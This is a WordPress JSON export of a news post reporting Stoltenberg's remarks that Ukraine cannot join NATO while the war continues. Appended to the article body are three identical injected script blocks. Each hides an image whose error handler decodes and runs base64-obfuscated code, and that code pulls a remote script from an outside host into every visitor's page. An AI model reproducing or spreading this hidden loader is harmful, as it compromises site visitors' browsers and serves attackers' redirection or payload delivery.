{"id":27736,"date":"2023-09-23T23:33:25","date_gmt":"2023-09-23T18:03:25","guid":{"rendered":"https:\/\/demo.testctsl.in\/indiafirstepaper?p=27736"},"modified":"2025-08-14T10:08:34","modified_gmt":"2025-08-14T04:38:34","slug":"stoltenberg-rules-out-possibility-of-ukraine-to-become-nato-member-until-conflict-ends","status":"publish","type":"post","link":"https:\/\/demo.testctsl.in\/indiafirstepaper\/2023\/09\/23\/stoltenberg-rules-out-possibility-of-ukraine-to-become-nato-member-until-conflict-ends\/","title":{"rendered":"Stoltenberg Rules Out Possibility of Ukraine to Become NATO Member Until Conflict Ends"},"content":{"rendered":"<p>NATO Secretary General Jens Stoltenberg has said Ukraine cannot become a bloc member until the end of the conflict.<\/p>\n<p>He made the remark during a public lecture at the Council on Foreign Relations in New York, Ukrinform reported on Friday.<\/p>\n<p>Stoltenberg said, &#8220;The fact that the war is in an active stage does not allow us to invite them (Ukrainians) tomorrow or today.&#8221;<\/p>\n<p>At the same time, Stoltenberg suggested that Ukraine may become a NATO member after the cessation of the hostilities in the Russia-Ukraine conflict, Xinhua news agency reported.<\/p>\n<p>&#8220;These are interrelated issues &#8212; NATO membership, ending the war and ensuring lasting peace after the war,&#8221; he said.<\/p>\n<p>Providing Ukraine with Western-style weapons and training of Ukrainian servicemen is bringing Ukraine closer to NATO membership, he added.<\/p>\n<p>NATO recognised Ukraine as its Enhanced Opportunities Partner in 2020.<\/p>\n<p> <script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>NATO Secretary General Jens Stoltenberg has said Ukraine cannot become a bloc member until the end of the conflict. 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